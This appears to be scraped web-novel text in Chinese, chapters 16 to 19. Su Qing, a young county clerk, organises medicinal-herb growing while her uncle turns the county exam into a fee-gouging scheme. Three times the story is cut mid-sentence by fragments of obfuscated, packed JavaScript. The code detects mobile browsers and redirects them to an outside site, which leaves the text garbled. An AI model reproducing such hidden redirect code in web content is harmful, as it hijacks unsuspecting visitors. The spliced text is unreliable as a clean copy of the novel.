顾从斯点头:“是这样做的,等木桥完工后,我再去看一次。” 苏清放心了:“最远的山坳村,也要盯一下。” “他们村位处山里,虽然没被叛军劫掠过,但日子艰难,看看有没有能帮到的。” 一堆杂事处理完,罗户房已经带着手下去清查田地。 主要是为明年种药材做准备。 现在要留下土地,看看县里农户们谁想种。 这事要抓紧做,否则县里几家药铺肯定着急。 还好在十月初,江南叶家的商船又来了。 要说这段时间,陆陆续续有不少商船过来。 但叶家的还是不一样。 毕竟他家接了苏清的订单,带来几万斤各色伤药种子。 苏清都亲自去接,让各家药铺终于安心。 叶家这次来的管事颇有些古板,一项项种子核对清楚,又收了银钱,点头道:“种子欠货两清。” “还有衙门的借粮。” 这好说,苏清早就准备好了。 虽说如此,但看着粮食装到人家船上,她还是无比心痛啊。 再看码头上又来一个姓张的大户。 这个张大户取代王乡绅,在此地帮叶家收粮,他对苏清十分客气,半点没觉得她年纪小,故意轻慢。 张大户甚至道:“一直想拜见苏主事,可惜没有空。” “有机会的话,想到主事家中坐坐。” 哦,想送礼。 苏清笑着道:“好好做事,对佃户好点就行。” 张大户听此,微微松口气。 他们这些家里有点田地的,实在是怕了苏清。 年纪小小,手腕狠辣。 王乡绅被她一整,命都去了半条。 苏清似乎想到什么:“对了,开年码头清淤,这是造福全县的事。” “到时候,几家还要鼎力相助才是。” 苏清不要张大户的贿赂。 不等于不要他的银子。 到时候大户们一起来,把清淤的钱给她出了。 三言两语间,又剩下一大笔银子。 苏清笑眯眯地看向叶家商船,又看看卸下来的种子。 来日方长。 现在的她,还是准备准备种药材吧。 16.第 16 章 种子装卸完毕,苏清对叶家这个管事道:“你们叶大公子,没有什么话想对我说?” 顾从斯看过来,不明所以。 那管事也有些奇怪,但还是道:“回主事,并未什么话。” 苏清笑了下:“那我有话对他说。” “就说,他的礼物我收到了,我铭记在心。” 什么礼物? 管事跟顾从斯皆一头雾水。 押着种子回衙门,顾从斯忍不住道:“什么礼物?” 苏清看着从她面前扬长而去,一脸激动的苏典吏:“没什么,垃圾而已。” 垃圾。 为何还要专门问一句。 被苏典吏黏着的罗户房,并未把其中因果说给别人。 顾从斯不明白很正常。 “走吧,安排伤药育种育苗。”苏清道。 十月份的天气,已经有些冷了。 还好在天冷之前,各地损毁的房屋都已经盖好。 不仅是人住的房屋,还收拾出几个不用的官署,准备在室内进行育种。 很多药材不能直接种到地里。 需要单独培育出苗,等到春日天气暖和了,再进行栽种。 苏清之前跟着姥姥学过育种育苗,至今还有印象。 再加上本县七个药铺也出了人手银钱,按照不同的伤药种类,陆续育苗。 等到春天时,想种药材的农户,就能从他们手中或买或借。 到时候的利润,按照各家出资比例,以及捐药多少来分。 苏清做事向来公正,身边还有心肠极好的梅娘。 以白家为首的七家药铺,还是十分信得过的。 更别说,这七家铺子加上衙门一起做这买卖。 里面很多细节复杂无比。 要不是苏清一力主持,也不会那么快定下。 现在种子来了,事情更多的可怕。 难为苏主事一件件办下来,让众人无不信服。 苏清心道,这事情确实复杂,但能有上辈子的甲方复杂吗。 她这位置,一句话顶十句啊。 苏清笑而不语,只吩咐人做事。 别看衙门新来了二十多人,但依旧忙碌。 这些新人刚来时,还以为进了衙门就是享福。 没想到,简直是没日没夜的办差。 这件事刚做完,另一件差事就到了。 一会是某某村的房子要检查。 一会是哪里的土地有纠纷。 还有那条街几户人家都被偷了。 他们进衙门之前,也没人说事情这样多啊。 好处是,南江县百姓见了他们,并不畏之如虎。 也不觉得他们是恶吏,这种感觉,倒是跟传言中不同。 户房书吏费开宇还调侃:“都是最恶莫过于吏,我们是在冤枉的。” 苏清刚要出衙门看伤药育苗情况,听到他在说笑,顺嘴道:“小费跟我们一起,去看看种子分好了吗。” 衙门采购了二十种伤药种子。 衙门户房负责八种,剩下十二类种子,按照七个药铺贡献不同,依次分给他们。 当然是以最先出头的白家,以及捐药最多的郝家为首。 其他药铺依次减少。 费开宇连忙跟上,发现顾秀才莫名其妙看了他一眼。 费开宇摸摸脸:“顾秀才,怎么了?” “没事。” 没事你看我。 小费一路小跑跟上苏主事,将户房这边的安排仔仔细细说了。 衙门负责的八种药材,既有便宜皮实的,也有金贵难种的。 培育起来,需要格外耐心细致。 好在不管罗户房还是费开宇,以及另一个书吏。 都是勤学奋进的。 尤其是小费,他潜心做事,几乎把这八种药材特性烂熟于心。 不出意外的,这差事肯定由他主要负责了。 苏清听着,微微点头:“做的不错。” 被苏主事夸赞,小费更想表现了,恨不得把所有准备一股脑全说出来。 苏清巡查一圈,见不管衙门还是七个店铺,都准备的不错。 苏清也就放心了。 等到明年春天,这些中药苗就能种下去。 “还是要注意保暖,辛苦育苗这么久,若在冬日被冻坏了,那实在可惜。”苏清一一吩咐道。 一趟下来,苏清道:“各家的中药苗,差不多能种九千亩。” “但现在想种药材的农户,加起来也就三千亩出头。” 等于说,有九千亩的幼苗。 但只有三千亩有人买,有人种。 多出来六千亩的药材苗没有去处。 这也好理解。 南江县多数农户,从未接触过种植药材。 倘若种好了还成。 种不好,一年的收成就没了。 多数农户还是稳妥起见,先观望观望。 苏清可以理解,但也要发愁这六千亩中药苗的去处。 不能砸到大家手里啊。 想来想去。 也就是把官田腾出来。 “已经租出去的官田就不要动了,让佃户安心种粮。”苏清道,“还未租出去的官田,三分之一种上药材。” “给租种的佃户保证,种出来的药材,衙门至少以市场价收购。” 有了这层保证,新来的佃户,至少不用担心血本无归。 一直忙到十一月底,南江县大雪纷飞,九千亩的中药田终于确定下来。 剩下的,就是等着幼苗在室内好好长,年后移栽到地里了。 这期间,南江县过的还算平稳。 偶尔有隔壁几个县的灾民来投亲靠友,让本地人更加珍惜现在的生活。 毕竟外面的情况,实在不好。 尤其是一江之隔的北江县。 现在的北江县,虽不是最前线,却也是重兵镇守的地方。 当地已经有了五万人的守备军,随时待命。 因南江县这边还算太平,不时有商船经过,北江县不少士兵还来他们这采买物资。 不过他们那边情况紧急,大半时间不能随意活动。 也就这种时候,南江县百姓才意识到,广乐府还有三个县,依旧在叛军手中。 若战争初期,大家还会惶恐。 但过了这么久,多数人都已经习惯了。 人的适应能力,超过很多人的预料。 不过在大家心底里,还是盼着战事早日结束。 尤其是衙门的武捕头。 他两个主动投军的儿子,最近终于有了消息。 说是在北路左参将底下做事,让爹娘不用担心。 “怎么可能不担心!” “他们北路军就在迎敌,叛军装备精良,武勇王爷手底下强将无数。” 苏清他们听到这话,只得尽心安慰。 其他的也没有办法。 梅娘还跟她说,武娘子隔三差五都要哭一场。 就连苏三婶见了,都要安慰几句。 朱娘子更不用说,她跟梅娘更是心软。 大家都是有孩子的人,现在这世道,家人平安才是最重要的。 苏清听梅娘说家常,又见弟弟苏澄在认真写字,没工夫听她们说话,开口问道:“娘,苏三叔最近很得意?我看他最近心情不错。” “对,说是收了很多报名费,赚了不少钱。”梅娘直接道,“那都是穷学生,他收人家八十文报名费,你爹那会只需三十文。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314221|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅娘一边念叨,一边把手里的衣料在苏清身上比划。 女儿经常要出门办差,衣服必须厚实。 她还攒了几张兔皮,准备做成袄子给清清。 苏清听着,又烤了会火,低声笑道:“胆子有点小。” 很快,苏清就知道,苏三叔胆子没那么小。 因为他差了南江县几个跑腿的,把本县可以办县试的消息,传到周围四五个县里。 甚至暗示其他各县书生:“你们托托衙门关系,允许你来南江县考试,这不就行了。” 一般来说,考生只能在自己户籍所在地考试。 但若是有特殊原因,写清缘由后,也能换个地方。 放在打仗之前,或许还有人管。 如今这种情况,以打仗为借口,批条一开一个准。 只要人家衙门或者县学刚开条子放人。 南江县县学就敢接。 一时间,各县书生纷至沓来,挤在南江县县学门前交报名费。 不仅县学住宿读书的地方被预定满了。 连附近几个酒楼都人满为患。 这让本地考生叫苦不迭。 毕竟不管参加县试的人有多少,最后只选出十五人。 外地来的考生越多,考上的概率就越小。 一百五十人选十五人,那概率是十分之一。 倘若四百五十人选十五人,概率就是三十分之一。 本来只用跟本县学生竞争。 现在要跟四五个县的书生一起比,谁比的过啊? 可惜他们抗议也无用。 负责此事的苏典吏,可不管有的没的。 只要有人报名,他就收报名费! 甚至大言不惭道:“这才是优中选优,人越多,选出来的人才越优秀!” 苏清听的直挠头。 行吧,这么说也没错。 县城也因涌入的三百多考生热闹起来。 就当他们是来促进消费的了。 谁料这只是个开始。 刚入腊月,此次县试又有所调整。 原定于明年二月初六的县试。 现在改为正月二十二。 而且因为人员过多,需要再补交二十文。 不补? 那就不能考了。 而且之前交的报名费概不退回! 差点就要报名这次县试的费开宇小费傻眼了。 这不是明抢吗?! 不太合适吧? 那些人会交吗? 苏清答道:“会啊,咱们县报名的考生,多都有些家底。” “外县能托关系,又能来这里备考的学生,更不缺这个银子。” 像费开宇这种家庭情况,早就退出了。 苏典吏真是精准收割啊。 苏清都有点佩服自己这个亲三叔。 “小费这份公文格式错了。”苏清刚说完,就看到顾从斯幽幽出现。 顾从斯帮忙改了两笔,还给费开宇。 费开宇看看他们两个,抱着公文离开。 “县学乱得不行。” “有没有法子管管。”顾从斯开口,“你说的对,现在不适合开县试。” 苏清托腮,好笑道:“我才不管,还没到时候。” 还没到时候吗。 他爹都快疯了。 这哪里是科举。 分明是巧立名目的敛财。 好好的读书清净地,被苏典吏明码标价租给外地学生。 甚至价高者得。 顾教谕感觉自己的名声都要没了。 这,这如何是好?! 慌乱之中,顾教谕拉住要去衙门儿子,让他赶紧去求求苏清。 能不能找个办法,解决了这事啊。 17.第 17 章 “苏典吏为了敛财,无所不用其极。”顾从斯无奈道,“县学能租的地方,全都被他明码标价租出去。” “附近几个酒楼,甚至也给他贿赂,好推荐外地考生入住。” 如果只是这样,顾教谕还能忍,反正眼不见为净。 “苏典吏还想私透考题,一直在询问我爹,问他县试的初试,准备出什么考题。” 苏清对此并不算意外。 都赚钱了,谁还管那些。 尤其是苏典吏这种人,他能干出卷带自己二哥家的细软逃跑,还一个劲地打老婆这种事,还有什么做不出来。 顾从斯坐到一旁,颇有些无奈。 任由事情发展下去,他爹的官声彻底没了,这次的考生,也会深受其害。 因为大家都知道。 县试还未正式开始,就有这么多幺蛾子。 再办下去,就完了。 顾从斯看向苏清,想请她拿主意:“这次的事,是我们太过心急。” 苏清不等他继续道歉,也没用这件事为难他的意思,直接道:“县学的麻烦,似乎跟衙门这里没什么关系。” “你说是为何?” 顾从斯顿住。 县学乱子颇多。 但大家要骂也只骂县学,也不会找衙门麻烦。 为何? 因为苏主事早就撇清干系。 从一开始,她就是最反对办县试的人。 故而出了事,大家也不会来找她。 自己来找,也是求她解决事情。 顾从斯明白过来:“你的意思是,让我爹也跟这件事撇开关系?” “为什么不一劳永逸,直接停办?” 苏清笑,看向二十岁的顾秀才。 放到现代,也是清澈大学生的年纪。 也是最近稍微闲了些,苏清有心解释:“现在停办,有三项不好。” “一,此事顾教谕一力促成,骤然停办,岂不是证明你爹判断有误。那这件事,便是板上钉钉的错误。” “二,折腾一圈,六个县的学生报名,总共四五百考生,说停就停,谁来安抚?退一万步说,苏典吏还了报名费,那这段时间的食宿呢?” “三,除去这些事,还有周围五个县衙门,他们给当地书生开条子,收了不少钱。前脚收钱,后脚就停了,他们脸上无光。” 苏清难得解释这样多。 细致入微地解释停办的坏处。 既让顾教谕脸上难看,也让学生,甚至其他各县同僚不好做。 当然,还有一项,苏清没说。 那就是苏典吏现在犯的错不够大,这就不必提了。 顾从斯突然想到,苏清方才的话。 她说,县学出了这么大的事,为什么没人找衙门麻烦。 因为撇清了关系。 她是在暗示,顾教谕也能撇清关系。 “可在透题上做文章。” “只要你爹能扛过去就行。” 苏典吏的恶行,周围人谁不知道。 他想卖考题,也是瞒不住的。 要是顾教谕坚持科举公平,硬是守住这一关。 在逆境里颇显清流。 顾从斯眼神变换,以他的聪明,成长速度会非常快。 苏清心道。 怪不得大家都好为人师,要是有这么聪明的学生,她肯定愿意教。 见苏清继续忙公务,顾从斯微微抬头。 若苏清看到他此刻的表情,大概率再也不想教了。 她只想教徒弟,不想要对手啊。 苏清又想到什么,安慰一句:“乡试是否能办,跟县试关系不大。” “依我来看,明年乡试应该不会耽搁。” 从今年,也就是永晟元年三月起,广乐府就没有知府。 总不会到明年永晟二年八月,还没有知府吧? 有了知府,各项事情就能支持起来。 为讨新皇欢心,也为安民心,乡试也不会耽误。 “让顾教谕放心吧。” 这话让顾从斯皱眉,过了好一会道:“你知不知道,我爹为什么注重乡试。” 见苏清一顿。 顾从斯自己道:“你知道。” 不就是考上举人,你全家就能离开吗? 而顾从斯想问的是。 我爹这么着急逃离口头婚约,你怎么不在意,甚至还安慰他。 不用苏清回答,顾从斯就知道答案。 再看费开宇走进来,面容本就清秀的小费,十分殷勤地过来,看着十分讨喜:“苏主事,你看这份公文写的如何。” 苏清笑:“很好,不过我也不专业,简洁明了就好。” “怎么可能不专业,苏主事这么厉害。” 顾从斯拂袖而去,让费开宇一头雾水。 这顾秀才,阴晴不定的。 听说他跟苏主事还有婚约。 脾气这么差,配不上苏主事啊! 顾从斯果然是个好学生。 当日,县学就传出苏典吏跟顾教谕的争执。 顾教谕坚定守着底线。 绝对不透题。 不仅如此,还对在县学借住的考生严加看管。 行走坐卧,乃至何时起床,何时休息,都有规定。 君子慎独,不欺暗室。 君子不管在什么时候,都要言行一致。 一番吵闹过后,县学果真清静下来。 传出去后,多数人都把苏典吏跟顾教谕区分开。 提起苏典吏,自然说他贪婪无度。 提起顾教谕,反而道:“好心办坏事了,不过他一心为科举,可以理解。” 苏典吏听了这话,在酒楼大骂顾教谕是小人行径。 都在办县试。 怎么你的名声突然好起来了?! 是不是你儿子跟未来儿媳搞的鬼? 顾从斯跟苏清两个狡诈小人。 合该你们是未婚夫妇,确实天生一对! 苏清听到苏典吏这么骂,差点笑出声。 好啊,苏典吏是知道,怎么往顾教谕心口插刀的。 明知道顾教谕最不想认这门亲事,却故意在大庭广众之下骂出来。 让对方想反驳,都无从下口,只得吃哑巴亏。 只是等顾从斯淡定回应:“多谢三叔祝福。” 苏清笑不出来了。 正看热闹呢,怎么火烧了自家房子。 反而梅娘十分高兴,拉着苏清道:“本以为。” “算了,不提了。” “清清,娘去找顾家,把你们的婚事定了如何?” 梅娘虽然欲言又止,苏清却很容易听出里面的意思。 本来以为顾家,或者说顾从斯不愿意了。 而且苏家还在热孝,不好提婚事。 现在苏县令下葬半年,若能私下里敲定,等三年孝满,就能直接成亲。 这对梅娘来说,是天大的好事。 她只有一双儿女,小儿子苏澄不过四岁,年纪小不用管。 女儿今年十六,虽说年纪也不大,但在她看来,没有比顾秀才更合适的人选了。 毕竟相公在时,都夸顾从斯忠君爱国,以后是个好臣子,肯定前途无量。 苏清不吐槽忠君爱国跟好臣子,跟前途无量之间的关系,只糊弄道:“这事不一定呢。” “明年乡试,他考中举人,顾家肯定不乐意。” 这是苏清头一回说的这样直白,再次道:“娘,咱们不必贴人家冷屁股。” “顾秀才答应了啊,不然怎么说谢谢三叔的祝福。”梅娘确定道,“他满意这门婚事的,未来夫婿满意即可。” 苏清劝不动,肉眼可见地,梅娘做了一双鞋给顾从斯。 顾从斯那边不仅接了,又买了两方帕子给梅娘跟苏清,更攒了自己的蒙书送给苏澄。 除此之外,来往频频。 这在外人看来是什么意思,不言而喻。 反正顾教谕看苏清的眼神,让苏清颇有些心虚。 怎么看起来,像是她救了顾教谕的名声,他儿子顾从斯就以身相许啊。 这叫什么? 儿子卖身救父吗! 真不至于啊。 算了。 走一步看一步吧。 转眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324517|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,已经到腊月中旬。 今年的南江县县城,依旧人头攒动。 不仅本地百姓过来采买,甚至隔壁县城大户也买来年货。 谁让他们这里恢复得最好,物资也最充足。 不仅如此,室内培育的中药苗,长得也很好。 七家铺子老板主动上门感谢。 说多亏苏主事提前谋划,听说外面的药材价格已经涨疯了。 只要药材能种成,各家都能大赚一笔。 苏清把各家带来的礼物,给手下书吏差役等人分了,算是年礼的一部分。 这总不算抠门了吧? 唯一矛盾重重的,依旧是县学。 苏典吏想要钱。 顾教谕想要县试公平。 不吵起来肯定不可能,好在顾从斯站在他爹这边,算是势均力敌。 一直到腊月二十二,衙门暂时闭堂过冬,那边依旧争执不休。 衙门这里,倒是其乐融融。 一个总捕头,三个捕头,余下一二十捕快差役。 再有六位代主事,余下十几书吏。 门房以云喜为首五六人,灶上众人。 每人按照职务不同,依次分发年礼俸禄,还有衙门额外拨出的羊肉鸡鸭鱼鸡蛋。 原本严肃的公堂外,热闹的跟菜市场一样。 但无论什么官职,什么地位,所求所需,不就是一日三餐,有肉有菜。 梅娘跟罗户房负责分发。 还有已故主簿娘子朱婶娘帮忙。 “五斤羊肉,两只鸡一只鸭两条鱼,五斤鸡蛋。拿回家去,肯定能过个好年。” “辛苦一年,总算有个盼头。” “俸米也是新米,真好啊。” “都是咱们苏主事抠门,其实没那么抠吧?” 苏清笑眯眯出现,对那差役道:“说什么呢?” 苏清感受到班主任的快乐,那差役立刻站直了:“没!没说什么!” 等苏清一走,大家忍不住笑:“主事才没那么小心眼。” 发到最后到云喜这,虽说他年纪小,不过十二,也是按照正常发放。 梅娘多问了句:“你过年去哪住?” 云喜无父无母,只能留在衙门,还替人值守,多挣点吃喝。 梅娘道:“那你来后宅吧,我帮你把衣服再补补,前段时间刚补好的,这怎么又破了。” 他们闲聊不提,到朱娘子母女这里,又是一番不同。 此刻衙门众人基本都散了,除去值守外,等到年后正月十八再来开堂。 朱娘子攒了许多话,正好在此时说:“多谢大姐儿,要不是你,我们母女两个的日子,都不知道怎么过。” 刘主簿没了。 她们母女两个按理应该搬出衙门。 但苏清让十岁的刘小妹跟着自己,说是端茶倒水,多是在旁边打打瞌睡,看看书。 不为别的,只为每月发一份俸禄给到她们母女。 之后让朱娘子管着灶上,又是一份俸禄。 现在过年,同样给的是双份。 为此,朱娘子如何不感激。 苏清拉着朱娘子的手,只道:“小妹机灵,帮了我许多,你在灶上又管得好,这是你们应得的。” 说着,罗户房故意插话,让气氛显得不那么难受:“还剩三份没领。” “苏典吏,顾教谕,还有田县丞。” 前面两个好说,这两家日日吵架,暂时没工夫领,一会差人送过去即可。 田县丞的,倒是个麻烦。 他依旧烂醉如泥,不知道在哪个暗门子里躺着。 全家丧命,田县丞一蹶不振。 “不要一股脑全给他了,五日五日地给。”苏清叹口气。 这种事,只能他自己缓过来了。 罗户房称苏主事想的周到,最后把苏典吏顾教谕的送走,今年衙门的差事,算是暂时了了。 再有什么事,都要等明年再说。 这一年,还真是不容易。 大家颇有些劫后余生的欣喜感。 这样的一年都过去了。 明年,肯定能过得更好。 18.第 18 章 衙门冬日闭堂后,苏清多数公务都搬到后宅去做。 还要抽出时间,给老家祖母,大伯,还有外祖以及两个舅舅写信。 主要是梅娘说,她来写。 她现在的字称不上多好,但也能见人了。 只是提到苏清婚事时,她还是委婉拒绝:“这事不好说,还是不写了。” 梅娘只好点头,又收拢了些物件,送回夫家娘家。 但凡在外地做官的,年底都是这个流程。 朱娘子也不例外。 她手头算是宽裕,给夫家娘家都备了年礼。 因刘小妹跟着苏清学了字,也让她写了几个字回去。 不过具体内容,还是苏清来写。 苏清看了看周围人。 竟然只有她跟云喜不仅识字,还会写字? 说到门房云喜。 他自大病一场后,老实多了,心里感念苏清不计前嫌救了他的命,如今跑前跑后最是殷勤。 也因这事,梅娘见他无父无母,年纪也小,过年都让他在后宅过。 听此,他也不帮同僚值守了,气得同僚说他言而无信。 后宅梅娘,苏家姐弟,朱婶娘母女,再加个云喜。 也算热热闹闹一块过年。 给老家的东西寄出去后,他们又采买了过年所需。 腊月三十当天晚上还放了串长鞭炮。 大家都推搡苏清,让她去点。 爆竹声中一岁除。 转眼,便是永晟二年了。 战事到底有所影响。 正月十五并无多少人出来摆灯,想来晚上看灯的人,应该也不多。 好在一切平稳。 就是北江县那边似乎用兵了,暂时还没什么消息。 苏清格外关注江对岸,自然跟他们马上要栽的药材有关。 虽说药材不愁卖。 但要是能卖到对岸军中,不仅是个长久买卖,价格也会更好。 也因此,年前苏清让兵房代主事龚广拿了帖子,趁着过年送了节礼。 老龚跑了好几趟,对岸守备军说的倒是客气,似乎早知道南江县要种药材,但要不要却模棱两可。 一直到正月十五,又去了一回,下午才回来。 衙门偏厅,老龚道:“守备军姓薛,脾气倒好,但是不松口,要不要这药材,没个准信。” 苏清让他喝口热茶,请刘小妹让她娘再捯饬些羊肉汤烙饼,都请老龚吃着,这才道:“不是一次能成的,你也辛苦了,大过年多跑好几趟。” 这老龚以前做过士兵,他虽未打过仗,却剿过流寇,深知军中等级森严,揣摩道:“军中职务复杂,守备军只管用兵。” “后勤物资,归内官来管。” “咱们去找守备军,是不是不妥。” 大概意思是,军中也分武官和文官。 一种管兵,一种管后勤。 像顺昌国,因战事设的守备,基本只管兵的。 苏清自然知道,她道:“咱们也就跟守备能扯上点关系。” “想要认识内官,更是困难,就是看看能不能从薛守备这里,搭上后勤内官的线。” 因那内官,多是宫中派来的公公太监。 能被特意任派过来,必然是皇上或者其他人信赖的。 他们这种身份,实难攀附。 兵房老龚吃完羊肉汤,又带了两斤羊排两只烧鹅回家,不枉他这段时间的辛苦。 苏清还未回后宅,顾从斯来了。 他最近跟苏典吏斗智斗勇,已经占据上风,特意抽出时间,想请苏清上街看灯。 “晚上还是有几家摆了灯,趁着衙门还未开堂可以走一走。” 苏清倒是没拒绝。 顾从斯见她应下,心里一动,却听她又说:“我娘还有朱婶娘她们都约好了,一起出去看灯。” 虽说两人看灯变成一群人,顾从斯依旧点头。 只是到了晚上,街上果然冷清。 唯一灯笼最漂亮的,竟是叶家年前在此新开的商铺,看到苏主事过来,更是热情,硬是要送一个江南最时兴的灯笼。 苏清笑:“你们是江南人士,过年不回家?” 那掌柜只是赔笑,并不接话。 苏清挑眉,顾从斯先一步付了灯笼银钱,两人站到旁边,看着梅娘他们赏灯。 “还有七日,就是县试第一场了,准备得如何?”苏清随口道。 顾从斯认认真真答:“准备好了,题目还未出,等到考试前一夜,连夜印刷。” 为了防止泄题,顾家父子确实用心。 正是他们的坚持,倒是让这次的县试,显得没那么荒唐。 不过也是这期间,顾从斯才知道,苏清能掌握住整个衙门。 让衙门上下唯命是从,有多厉害。 县试虽不是官场,甚至使绊子的,也就那一个苏典吏,却让人头疼不已。 当初苏清面对那么多不赞同的目光,依旧能坚持下来。 他自愧不如。 苏清却突然道:“县试一般会考三到五场,第二次准备好了吗?” “也好了。”顾从斯回神。 苏清笑:“好的,加油。” 此刻的顾从斯还不明白,苏清这句加油是什么意思。 反正正月十八,衙门正式开堂,苏清便去忙药草田的事。 年前约定好的农户,纷纷过来或买或借药草苗。 七家药铺同样忙碌,总算把去年赠药的银钱赚回来了。 一直到正月二十二,衙门罗户房跟小费书吏再把剩下六千亩药材苗,分发给官田上的佃户。 再到正月二十五,总算把事情办的差不多。 还剩些收尾的差事,小费书吏一力负责。 药材种植十分顺利。 不顺利的,依旧是县试。 当然这对苏清来说,也挺顺的。 县试第一场,在正月二十二开始,分上下两场考试。 今年考生共计四百七十人。 顾教谕找了本县二十几位秀才夫子,共同参与本次监考阅卷。 其中费用,自然是报名费里面出,反正掌管银钱的苏典吏很不满意。 幸好找了这么多监考夫子,又有苏清派了武捕头带人去做巡视,否则肯定会出乱子。 不管怎么样,二十二日的县试第一场,终于结束。 接着是紧张的六日阅卷。 正月二十八一早。 第一场考生名单出来。 四百七十人里,脱颖而出二百人。 事情到这,本来还不错。 问题在于,苏典吏刚宣布,二月初一,就要考第二场。 想参加第二场考试的,需再交报名费一百五十文。 那名单上的二百考生还没高兴多久。 就听到让人恼火的消息。 又要交钱?! 年前不是交过报名费了,加起来一百文呢! 苏典吏答:“那是第一场的报名费,这是第二场的,不一样啊。” “不交就别来考试。” 因苏典吏先斩后奏,顾教谕都来不及阻止。 顾教谕看向儿子。 没想到顾从斯却拉住父亲,虽心有不安,却道:“不干我们的事。” 顾从斯本能觉得。 苏清知道会有这回事,却不阻拦,肯定不会出大问题。 可顾教谕不肯啊,又当众跟苏典吏吵架。 顾从斯这也不拦,心道:“我是不是跟苏清学坏了。” 没了顾从斯在旁边帮忙,第二场的报名费,该交还是交。 二百考生里,有三十多见势不妙,拔腿开溜。 遇到沼泽,就该赶紧跑路,不能越陷越深。 这一番操作下来。 能留下的考生都颇有家底,顺顺当当准备县试第二场。 因考生减少,故而二月初一的考生,二月初四便能出成绩。 并且二月初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329024|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六继续考第三场。 不出意外,第三场的考试报名费继续增加,每人二百文。 事情到这。 多数人都彻底服了苏典吏。 虽然大家都知道,他主动操办县试,肯定不安好心。 甚至猜到他是为了敛财。 却也没想到,还能这个敛法?! 一场考试收一次报名费。 而且一次比一次多?! 看样子,还有第四场第五场?! 果不其然,二月十八的县试第五场,报名费已经到三百五十文。 考生数量也剩下五十人。 到了这种程度,苏典吏甚至大言不惭,要再办第六场第七场。 只是此时的他,已经天怒人怨。 那五十考生放话,再考下去,他们就联名去县衙告状。 县衙不成,就去府衙! 苏典吏听此,方意犹未尽收手。 苏清巡查药材田期间,还抽空算了算苏典吏到手的银子。 只讲报名费,都已经收了近百两。 而且苦活累活都是别人的,他只要躺着数钱即可。 据她所知,这还不是大头。 食宿以及周围酒楼给他的好处,至少三百多两入账。 如果没有顾家坚决制止,再抽取作弊的银子,轻轻松松大几百两白银进他腰包。 苏清从药材田离开,又去了渡口码头。 见码头清淤还算顺畅,跟工房代主事打了个招呼,这才离开。 临走时,还有商船老板称谢:“刚开春就清码头淤泥,我们船只停靠的时候,方便多了。” 怪不得各路船主都说,广乐府一带,唯有南江县的码头能停靠。 原来所言不虚啊。 苏清还不知道,她的名声,已经顺着江流,传到很多地方。 苏清打趣道:“那就多多运来好物,也让南江县百姓有物美价廉的物件。” 离开码头,兵房代主事老龚早就等着了。 老龚无奈摇头。 从年根起,他便几次三番去江对岸找薛守备。 想给药材寻个好买家。 那薛守备每次都见,却并不答应。 正月十五再去。 如今二月十九,他还去。 “看来薛守备,并不想要我们种的药材。”老龚无奈道。 苏清却是另一个想法。 “不会,他想要。” 苏清确定道:“你一共去了六次,他一个堂堂五品守备,每次都见你。” “他,或者说他的上司,很想要我们的药材。” “只是有什么东西,是我们不知道的。” 苏清暂时想不明白这些,好在距离伤药成熟,还有两三个月时间。 也就是说,在五月份之前,她都不太着急。 说话间,闹了一出出笑话,最终办成的县试,终于结束。 四百七十人选十五人。 他们十五个人的文章,苏清也看了。 她虽写不出来,但鉴赏能力还是有的,微不可查的撇撇嘴后,夸赞道:“不错,果然是栋梁之才。” “你们准备准备,去府城看看吧。” “虽说四月份府试才开,但可以早点过去。” 苏清的话里充满暗示,颇有些忧虑道:“只怕我担心的,成真了。” 她担心什么? 十五个考生面面相觑。 顾从斯却明白过来。 苏清担心,府城根本没有办府试的意思。 这一点,她早强调过很多次了! 那十五人也反应过来。 啊? 不会吧?! 如果府城真的不办府试。 那他们折腾这么久,意义何在? 众人死死盯着换了崭新衣裳,踏着缎面靴子的苏典吏。 问你呢! 意义何在?! 你最好期盼,广乐府府试照常举行! 19.第 19 章 苏典吏看着他们,心底发笑。 府试能不能开,干他何事。 当初这县试,都是你们这些书生,求着我开的! 全都忘了?! 考生们颇有些无奈。 这话也没错。 确实是他们求着开的。 但当时,真没想那么多。 他们就是想考科举,早日有功名啊! 最高明的骗局,从来没有什么复杂的计策。 主打一个愿者上钩。 苏清早提醒多次。 像罗户房不会瞒着手底下书吏一样,他们整个衙门也没瞒过任何人。 不管四百多考生,以及考生家里,还有顾教谕。 哪个不是知道一二。 但他们就是要跳进去。 原因无他。 科举对他们的诱惑,实在太大。 大到明知有坑,也要去试。 事情到这一步。 十五个考生只得收拾行李,提前去府城看看。 所有人都期盼着,府试一定要办啊! 否则他们不仅白做工。 而且还会成为几个县城的笑话。 折腾一大圈,费时费力费钱的。 什么也没捞到! 丢人能丢到八百里外! 众人收拾行李出发。 脚程最快的,二月二十三离开,二月二十七就回来了。 回来第一件事,便是纠结几个同窗,狠狠暴打苏典吏! 